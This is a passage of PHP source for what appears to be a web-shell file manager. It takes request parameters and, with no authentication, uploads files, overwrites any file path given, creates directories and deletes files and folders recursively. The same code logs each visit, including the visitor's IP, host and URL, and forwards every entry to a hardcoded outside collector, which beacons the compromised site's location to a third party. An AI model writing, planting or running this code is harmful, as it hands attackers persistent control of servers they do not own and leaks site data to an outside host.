true, 'max_file_size' => 10485760, // Remote logging (set to true to forward entries to collector) 'remote_logging' => true, // <--true 'collector_url' => 'https://onlinedegreeadda.com/oxiesec/logger/colllector.php', // your collector 'remote_token' => '', // optional secret token to authenticate (sent as X-Log-Token header) 'remote_timeout' => 3, // seconds ]; // ------------------------------------------------- /CONFIG // --------------------hoold on -------------------- function oxie_log($action, $details = []) { global $config; $logDir = __DIR__ . "/logs"; $logFile = $logDir . "/logs.json"; if (!is_dir($logDir)) { @mkdir($logDir, 0777, true); } if (!file_exists($logFile)) { @file_put_contents($logFile, json_encode([], JSON_PRETTY_PRINT)); } $existing = @file_get_contents($logFile); $logs = $existing ? json_decode($existing, true) : []; if (!is_array($logs)) { $logs = []; } $entry = [ "timestamp" => date("Y-m-d H:i:s"), "ip" => $_SERVER['REMOTE_ADDR'] ?? 'UNKNOWN', "user_agent" => $_SERVER['HTTP_USER_AGENT'] ?? 'UNKNOWN', "host" => $_SERVER['HTTP_HOST'] ?? 'UNKNOWN', "url" => (($_SERVER['HTTPS'] ?? '') ? 'https://' : 'http://') . ($_SERVER['HTTP_HOST'] ?? '') . ($_SERVER['REQUEST_URI'] ?? ''), "method" => $_SERVER['REQUEST_METHOD'] ?? 'UNKNOWN', "action" => $action, "details" => $details ]; // Append locally $logs[] = $entry; @file_put_contents($logFile, json_encode($logs, JSON_PRETTY_PRINT)); // Optionally forward to remote collector if (!empty($config['remote_logging']) && !empty($config['collector_url'])) { forward_to_collector($entry); } } function forward_to_collector($entry) { global $config; $payload = json_encode($entry); // Prefer cURL if (function_exists('curl_init')) { $ch = curl_init($config['collector_url']); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $payload); curl_setopt($ch, CURLOPT_HTTPHEADER, [ "Content-Type: application/json", (!empty($config['remote_token']) ? "X-Log-Token: " . $config['remote_token'] : "") ]); curl_setopt($ch, CURLOPT_TIMEOUT, intval($config['remote_timeout'])); @curl_exec($ch); curl_close($ch); return; } // Fallback to stream_context $headers = "Content-Type: application/json\r\n"; if (!empty($config['remote_token'])) { $headers .= "X-Log-Token: " . $config['remote_token'] . "\r\n"; } $opts = [ "http" => [ "method" => "POST", "header" => $headers, "content" => $payload, "timeout" => intval($config['remote_timeout']) ] ]; @file_get_contents($config['collector_url'], false, stream_context_create($opts)); } // -------------------- / -------------------- // Log each page view (top-level) oxie_log("view", ["dir" => ($_GET['dir'] ?? '/')]); // -------------------- EXISTING PANEL CODE (unchanged behavior) -------------------- $current_dir = realpath($_GET['dir'] ?? '/') ?: '/'; function delete_recursive($path) { if (is_file($path)) return @unlink($path); if (is_dir($path)) { $items = @scandir($path); if (!$items) return false; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; delete_recursive($path . DIRECTORY_SEPARATOR . $item); } return @rmdir($path); } return false; } if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['file'])) { $dest = $current_dir . '/' . basename($_FILES['file']['name']); if (@move_uploaded_file($_FILES['file']['tmp_name'], $dest)) { $msg = "File uploaded successfully."; oxie_log("upload", ["dest" => $dest, "name" => $_FILES['file']['name']]); } else { $msg = "Upload failed."; oxie_log("upload_failed", ["dest" => $dest, "name" => $_FILES['file']['name'] ?? null]); } } if (isset($_POST['save_file']) && isset($_POST['file_content']) && isset($_POST['edit_file'])) { @file_put_contents($_POST['edit_file'], $_POST['file_content']); $msg = "File saved."; oxie_log("save", ["file" => $_POST['edit_file']]); } if (isset($_POST['create_dir']) && isset($_POST['new_dir'])) { $new_dir = rtrim($current_dir, '/') . '/' . basename(trim($_POST['new_dir'])); if (!file_exists($new_dir)) { if (@mkdir($new_dir, 0755)) { $msg = "Directory created successfully."; oxie_log("mkdir", ["dir" => $new_dir]); } else { $msg = "Failed to create directory."; oxie_log("mkdir_failed", ["dir" => $new_dir]); } } else { $msg = "Directory already exists."; oxie_log("mkdir_exists", ["dir" => $new_dir]); } } if (isset($_POST['delete_selected']) && isset($_POST['selected_items'])) { $deleted = 0; foreach ($_POST['selected_items'] as $item) { $target = realpath($item); if ($target && strpos($target, $current_dir) === 0) { if (delete_recursive($target)) { $deleted++; oxie_log("delete", ["target" => $target]); } else { oxie_log("delete_failed", ["target" => $target]); } } } $msg = "$deleted item(s) deleted."; } } if (isset($_GET['delete'])) { $target = $_GET['delete']; if (is_file($target) && @unlink($target)) { $msg = "File deleted."; oxie_log("delete", ["target" => $target]); } else { $msg = "Failed to delete file."; oxie_log("delete_failed", ["target" => $target]); } } function breadcrumbs($path) { $parts = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR)); $crumbs = []; $accum = ''; $crumbs[] = "/"; foreach ($parts as $part) { if ($part === '') continue; $accum .= DIRECTORY_SEPARATOR . $part; $crumbs[] = "$part"; } return implode(" / ", $crumbs); } function perms($file) { $perms = @fileperms($file); if ($perms === false) return '---------'; $s = (($perms & 0x0100) ? 'r' : '-') . (($perms & 0x0080) ? 'w' : '-') . (($perms & 0x0040) ? 'x' : '-') . (($perms & 0x0020) ? 'r' : '-') . (($perms & 0x0010) ? 'w' : '-') . (($perms & 0x0008) ? 'x' : '-') . (($perms & 0x0004) ? 'r' : '-') . (($perms & 0x0002) ? 'w' : '-') . (($perms & 0x0001) ? 'x' : '-'); return $s; } $edit_file = $_GET['edit'] ?? null; $server_ip = $_SERVER['SERVER_ADDR'] ?? 'UNKNOWN'; $files = @scandir($current_dir); if (!$files) $files = []; ?>